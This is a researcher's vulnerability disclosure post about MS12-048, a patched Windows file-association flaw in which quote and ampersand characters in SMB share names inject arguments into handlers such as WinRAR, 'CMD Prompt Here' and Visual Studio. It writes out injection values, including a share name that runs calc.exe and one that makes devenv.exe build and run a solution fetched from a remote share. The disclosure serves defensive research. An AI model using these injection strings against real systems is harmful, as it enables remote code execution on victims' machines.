Microsoft Windows Shell Argument Injection - MS12-048 (CVE-2012-0175)
Updated: Feb 24, 2019
The following post describes a vulnerability I discovered, allowing the injection of arbitrary arguments into the command string of any application in Windows by tricking the client into opening a specially crafted file.
The Windows File Association allows an application to define a handler that should be called for each operation on a specific file type.
For example, WinRAR registers the file type .RAR in the following manner:
The Open action defined for this file type dictates how the handler should be called upon opening the file.
The command that will be executed for this example of WinRAR is:
"C:\Program Files\WinRAR\WinRAR.exe" "%1"
(Where the %1 is replaced with the filename that the client clicked on)
Theoretically if an attacker was able to create a file named Stu"ff.rar
He will be able to break the command string and inject arbitrary commands.
Of course creating such a file under Windows seems to be impossible
Linux operating systems, unlike Windows, do not limit the use of these special characters as part of a file's name.
Meaning an attacker can create a file called stu"ff.rar
In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine.
Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ).
The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there.
Sadly, Windows changes the display name for these files.
It does the same with folder names.
The one place missing this protection is the Share Name itself.
By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name.
Explorer actually shows the tainted name without any issues.
Even entering the Share proves to work.
When executing a RAR file from the regular share2 folder, all works well.
However when double-clicking a RAR in the second share
WinRAR cannot seem to find the requested file
Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked.
Example attack scenario #1:
The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior.
The way that "CMD Prompt Here" normally works is by launching the following command
"cmd.exe" /k cd %1
As can be seen here
An attacker is able to create a new share named:
xxxxx & start calc.exe &
When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be:
"cmd.exe" /k cd \\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder
When CMD will start it will also execute calc.exe
Example attack scenario #2:
The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself.
By creating three SMB shares named:
1. Test Injection "/RunExit \\188.8.131.52\share2
2. Test Injection "
And the following folder tree under the mapped folder (/home/share2 in the case of this example)
The result of these configurations should look as such:
By entering the first (long) folder and opening the SLN file with the devenv.exe handler (Default), the following command should be executed:
The devenv.exe handler receives four parameters:
The first part of the path - "\\184.108.40.206\Test Injection "
The injected parameter - /RunExit
The injected path to be used - \\220.127.116.11\share2\ArgumentInjection.sln
The remaining part of the original path - .sln"
The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution.
By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method.
Microsoft has issued the following patch to address this issue
An old post from 2012. Originally published under Watchfire's (IBM) Blog
Discovered by - Adi Cohen, IBM Application Security Research